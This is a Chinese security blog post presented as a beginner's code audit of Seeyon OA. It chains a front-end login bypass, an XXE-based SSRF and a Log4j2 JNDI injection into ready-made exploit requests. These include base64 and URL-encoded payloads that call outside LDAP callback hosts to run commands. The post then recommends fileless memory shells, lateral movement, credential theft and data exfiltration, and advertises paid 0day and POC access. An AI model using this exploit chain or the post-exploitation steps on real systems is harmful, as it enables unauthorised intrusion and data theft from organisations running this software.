文章总结: 本文详细介绍了致远OA系统的代码审计全流程,重点分析了前台Log4j2JNDI注入漏洞、免登录绕过机制和XXE导致的SSRF攻击。通过串联这些漏洞形成攻击链,演示了如何获取系统权限。文章强调权限验证环节的薄弱点是漏洞串联的关键,特别指出在复杂系统审计中要关注可能绕过统一权限管理的特殊通道。
综合评分: null
文章分类: 代码审计,漏洞分析,WEB安全,渗透测试,应急响应
致远OA基础审计速通|新手也能懂的代码审计全流程
原创
SharkSec
SharkSec
2025年11月23日 17:45
湖南
🔔 温馨提示:为了防止走散,不错过每一篇干货内容,请记得将公众号设置为星标!🌟
【声明】本文技术、思路及工具仅用于合法安全测试与防御研究,严禁用于非法入侵、攻击他人系统或盈利等违法违规行为,一切后果由操作者自行承担,作者及团队不承担任何连带责任。
引 言
我们0day系列更新了两期,综合来看反响都挺不错的,后台也有收到师傅留言,反馈对代码审计很感兴趣,但感觉基础薄弱,不知道从何入手,希望能更新一些关于代码审计的基础知识。想学好代码审计,光看理论那必然是远远不够的,必须亲手搭建环境、跟踪代码、动手调试,因此,本文我们用致远OA为例,一步步跟踪关键逻辑,完整地走一遍审计流程。希望能帮各位感兴趣的师傅,实实在在地跨出第一步。
01
前台Log4j2 JNDI注入 白盒测试
在安装这套源码前,建议先通过netstat -ano | findstr “LISTENING”命令记录初始端口状态。安装完成后,会发现新增了四个由Agent.jar服务启动的监听端口(49705、60001、60002、60003),这里可以结合JCMD线程分析和PowerShell配置文件搜索的方法,可以快速定位端口的服务功能。同时,通过分析web.xml配置文件和JSP页面的类引用特征,能够精准筛选出业务核心JAR包,为后续代码审计做好准备。
审计过程需要重点关注系统的过滤器/拦截器机制和WEB接口路由构造。过滤器负责请求验证和权限控制,常存在绕过风险;而WEB接口路由则定义了系统的外部攻击面,这两部分的深度分析直接决定了漏洞发现的效率。
致远OA系统使用 Log4j2 作为日志组件,这提示我们需要关注第三方依赖的版本安全问题,开发中引用的组件可能包含已知漏洞,但因升级滞后而形成风险。
以 Maven 依赖为例,可参考如下形式判断版本:xml<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version></dependency>
进一步分析 log4j2.xml 配置文件,可梳理出以下关键信息:该配置建立了完整的日志体系,其中 ERROR 和 FATAL 级别的日志由 ThresholdFilter 控制,仅对应级别日志会分别写入 ${LOG_HOME}${FILE_NAME}-ERROR.log 和 ${LOG_HOME}${FILE_NAME}-FATAL.log 文件。实际路径如 logs/sfu-ERROR.log,这意味着任何触发 ERROR 或 FATAL 日志记录的代码路径(如异常抛出或主动输出错误日志),都可能将攻击载荷记录到对应日志文件中。
接下来利用ConfigController触发Log4j2,对应的入口文件:
./Agent.jar!/BOOT-INF/classes/com/seeyon/common/controller/ConfigController.java调用的方法:save
现在来测试下漏洞
key参数不用动value参数POC(记得base64编码): {${jndi:ldap://jndi.callback.red:5/57qg/111/222/333}}
利用的URL:http://127.0.0.1:60001/agent/config/save?inside=true&key=bW9uaXRvckNvbmZpZw==&value=eyR7am5kaTpsZGFwOi8vam5kaS5jYWxsYmFjay5yZWQ6NS81N3FnLzExMS8yMjIvMzMzfX0=
发现Seeyon S1存在前台Log4j2 JNDI注入漏洞但无法直接利用后,我将目标转向Seeyon A8,寻找能够调用S1服务的接口。分析发现,只要在A8中找到SSRF漏洞即可打通攻击链路。
1. “/m-signature/*”免登录的绕过思路
通过对web.xml的分析,我注意到“/m-signature/*”路由具有免登录访问特性,其业务逻辑集中在iSolutions_web_API-V3.1.0.268.jar中。该jar包代码量较少,适合快速审计。
在分析SecurityFilter(CTPSecurityFilter类)时发现一个关键绕过点。该过滤器的安全验证机制采用if-else分支结构,每个请求最多只经过一个验证器,且不同验证器的安全强度存在差异。
通过构造特殊URL,使原本需要严格验证的路由走弱验证分支。分析发现,当URL以”getAjaxDataServlet”结尾时,会进入V3xAjaxAuthenticator验证分支,该验证器在特定参数下可直接返回true实现绕过。
具体实现:在V3xAjaxAuthenticator的authenticate方法中,只需构造如下参数即可绕过:/getAjaxDataServlet?S=ajaxColManager&M=colDelLock完整利用:http://target/seeyon/m-signature/[类名]/[方法名]/getAjaxDataServlet?S=ajaxColManager&M=colDelLock
通过调试验证,该构造确实成功绕过了登录验证,为后续漏洞利用提供了必要的访问权限。这种绕过方式的核心在于利用系统路由解析与安全验证之间的逻辑差异。
- 前台XXE漏洞执行SSRF攻击
这里采用关键词搜索方式,重点关注java.net.URI、org.dom4j.io.SAXReader等可能引发SSRF的类,然后向上溯源至Action结尾的公开方法,从而高效定位潜在漏洞接口。
原请求长这样: http://192.168.113.136:8080/seeyon/m-signature/RunSignature/run?imgvalue=1&xmlValue=2222配合“/m-signature/*”免登录的绕过思路变种成这样: http://192.168.113.136:8080/seeyon/m-signature/RunSignature/run/getAjaxDataServlet?S=ajaxColManager&M=colDelLock&imgvalue=1&xmlValue=2222
// 漏洞数据包// 发起一个GET请求到DNSLOGGET /seeyon/m-signature/RunSignature/run/getAjaxDataServlet?S=ajaxColManager&M=colDelLock&imgvalue=1234567890123456789012345678901234567890123456789012345678901234567890&xmlValue=%3C%3Fxml%20version%3D%221.0%22%3F%3E%20%3C!DOCTYPE%20foo%20%5B%20%3C!ENTITY%20ac%20SYSTEM%20%22http%3A%2F%2F77777.3ajg.callback.red%2F111%22%3E%5D%3E%3Cfoo%3E%3Cresult%3E%26ac%3B%3C%2Fresult%3E%3C%2Ffoo%3E HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_16_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Length: 0
这里需要注意:imgvalue参数,最少需要65个字符进行填充xmlValue参数,构造一个正常的xml可以发起一个GET请求SSRF
接下来可以看下漏洞的分析过程,入口文件
对应的入口文件: ./seeyon/WEB-INF/lib/iSolutions_web_API-V3.1.0.268.jar!/com/kg/web/action/RunSignatureAction.class调用的方法: run
通过上面提供的漏洞数据包,扔到BurpSuite进行访问,然后利用idea进行debug,跟随下面的图片就知道整体的流程了
02
前台Log4j2 JNDI注入 利用案例
POC:
GET /seeyon/m-signature/RunSignature/run/getAjaxDataServlet?S=ajaxColManager&M=colDelLock&imgvalue=1234567890123456789012345678901234567890123456789012345678901234567890&xmlValue=%3C%3Fxml%20version%3D%221.0%22%3F%3E%20%3C!DOCTYPE%20foo%20%5B%20%3C!ENTITY%20ac%20SYSTEM%20%22http%3A%2F%2F127.0.0.1%3A60001%2Fagent%2Fconfig%2Fsave%3Fkey%3DbW9uaXRvckNvbmZpZw%3D%3D%26value%3DeyR7am5kaTpsZGFwOi8veHgueHgueHgueHg6eHgvVG9tY2F0QnlwYXNzL0NvbW1hbmQvd2hvYW1pfX0%3D%22%3E%5D%3E%3Cfoo%3E%3Cresult%3E%26ac%3B%3C%2Fresult%3E%3C%2Ffoo%3E HTTP/1.1Host: xxxxCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: close
VPS上查看结果:
在成功利用漏洞链获取权限后,后续渗透可优先注入无文件内存马实现持久化,随后横向移动收集内网凭证、探测数据库等关键资产,最终窃取核心业务数据并尝试权限提升。
03
总 结
回头看本次致远OA审计全程,权限验证环节的薄弱点是漏洞串联的关键。系统虽设计了多层过滤器和路由控制,但“/m-signature/*”这类免登录接口的存在,实质上绕过了身份认证框架,暴露出鉴权边界模糊的问题。在复杂系统审计中,要特别关注这类“特殊通道”:它们往往因业务需要而保留,但未纳入统一权限管理体系。
系统源码与完整分析过程已整理至知识星球,欢迎加入获取更深入的技术内容。更多相关学习资料,也将在知识星球中持续分享。
如果大家对我们的文章技术有什么建议或者工具使用上的反馈,都欢迎大家在评论区留言交流。对我们分享的文章感兴趣,想要深入探讨、交流并学习更多相关内容,也欢迎各位师傅加入官方技术交流群!!!(关注公众号,点击菜单栏:联系我们->技术交流群,添加管理员微信,备注【加群】,拉您进群)
加入星球,一起进阶!
我们星球刚建设开放一周左右,大量福利来袭:有一线团队的一手攻防经验、私有工具源码(包括咱们公众号发的工具,星球里能直接拿源码 + 持续迭代),还有漏洞挖掘的 POC/EXP、每月定期一到两次 0day 分享,hw实战攻防遇见高频oa/设备源码都能在这拿到。
技术方向也刚好对标咱们平时的需求:工具开发、漏洞挖掘、代码审计、实战攻防这些全涵盖,甚至连 AI 安全的新玩法也会同步。
对了,星球里还有些「刚需资源」:FOFA 的 Key 长期能用,Cursor Pro 共享账号登了就能用; 企业 SRC 案例、红队实战经验也会拆解着讲。
现在星球现价 119 / 人,等满 100 人就涨到 129 了 —— 入了星球还能进专属内部群,比咱们公开交流群的资源更新更实时、讨论也更深度。
想上车的朋友直接扫描文末二维码了解详情,早入早享资源~
结束
👉 点击关注不迷路,一起潜入深水区,突破边界,共同精进!🚀
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:SharkSec SharkSec《致远OA基础审计速通|新手也能懂的代码审计全流程》